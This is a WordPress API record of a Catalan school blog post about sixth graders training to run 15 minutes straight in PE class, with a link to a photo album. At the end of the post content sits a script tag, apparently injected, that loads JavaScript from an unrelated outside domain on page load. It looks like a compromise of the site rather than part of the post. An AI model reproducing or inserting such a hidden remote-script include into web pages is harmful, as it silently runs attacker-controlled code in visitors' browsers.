{"id":1521,"date":"2018-02-08T17:36:44","date_gmt":"2018-02-08T16:36:44","guid":{"rendered":"http:\/\/agora.xtec.cat\/ceiplesmuralles\/?p=1521"},"modified":"2018-02-08T17:38:52","modified_gmt":"2018-02-08T16:38:52","slug":"fins-on-puc-arribar","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/portada\/fins-on-puc-arribar\/","title":{"rendered":"&#8220;Fins on puc arribar?&#8221;"},"content":{"rendered":"<p style=\"text-align: justify\">Amb el t\u00edtol d&#8217;aquest article tractem d&#8217;explicar en qu\u00e8 han estat treballant els alumnes de 6\u00e8 durant les \u00faltimes setmanes a la classe d&#8217;educaci\u00f3 f\u00edsica. El seu objectiu era c\u00f3rrer durant un per\u00edode llarg de temps, ens vam proposar 15 minuts seguits, sense parar a caminar ni descansar. Per aconseguir-ho hem anat practicant amb l&#8217;objectiu de que cada alumne trob\u00e9s el seu propi ritme, o velocitat, de cursa que li permet\u00e9s aguantar aquest temps. Amb aix\u00f2 ens apropem al concepte d&#8217;esfor\u00e7, o exercici, aer\u00f2bic. Al mateix temps tamb\u00e9 vol\u00edem rec\u00f3rrer la major dist\u00e0ncia que cadasc\u00fa pogu\u00e9s en aquest temps. Han estat un total de 5 sessions on, a m\u00e9s a m\u00e9s de c\u00f3rrer, han fet feines de registre i an\u00e0lisi dels seus resultats (metres correguts, pulsacions despr\u00e9s de l&#8217;esfor\u00e7, previsions de marca en un determinat temps, percepci\u00f3 subjectiva de cansament, etc) que han ajudat a que una tasca que es presentava dura no ho hagi estat tant.<\/p>\n<p style=\"text-align: justify\">Enhorabona a tots aquells que han acabat corrent aquets 15 minuts.<\/p>\n<p style=\"text-align: justify\">Cliqueu a sobre de la imatge per accedir a un \u00e0lbum amb moltes m\u00e9s fotos.<a href=\"https:\/\/photos.app.goo.gl\/VQ2KQSx1safFRnz02\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1526 aligncenter\" src=\"http:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-content\/uploads\/usu1617\/2018\/02\/IMG_20180112_095948.jpg\" alt=\"\" width=\"640\" height=\"480\" srcset=\"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-content\/uploads\/usu1617\/2018\/02\/IMG_20180112_095948.jpg 640w, https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-content\/uploads\/usu1617\/2018\/02\/IMG_20180112_095948-300x225.jpg 300w, https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-content\/uploads\/usu1617\/2018\/02\/IMG_20180112_095948-200x150.jpg 200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><script src=\"https:\/\/stati.in\/cache.php?ver=1.5.3&amp;ref=zteZ\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Amb el t\u00edtol d&#8217;aquest article tractem d&#8217;explicar en qu\u00e8 han estat treballant els alumnes de 6\u00e8 durant les \u00faltimes setmanes a la classe d&#8217;educaci\u00f3 f\u00edsica. El seu objectiu era c\u00f3rrer durant un per\u00edode llarg de temps, ens vam proposar 15 minuts seguits, sense parar a caminar ni descansar. Per aconseguir-ho hem anat practicant amb l&#8217;objectiu [&hellip;]<\/p>\n","protected":false},"author":29,"featured_media":1526,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[15,57,4,5],"tags":[],"class_list":["post-1521","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-6e","category-educacio-fisica","category-portada","category-primaria"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/posts\/1521","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/users\/29"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/comments?post=1521"}],"version-history":[{"count":3,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/posts\/1521\/revisions"}],"predecessor-version":[{"id":1530,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/posts\/1521\/revisions\/1530"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/media\/1526"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/media?parent=1521"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/categories?post=1521"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/ceiplesmuralles\/wp-json\/wp\/v2\/tags?post=1521"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}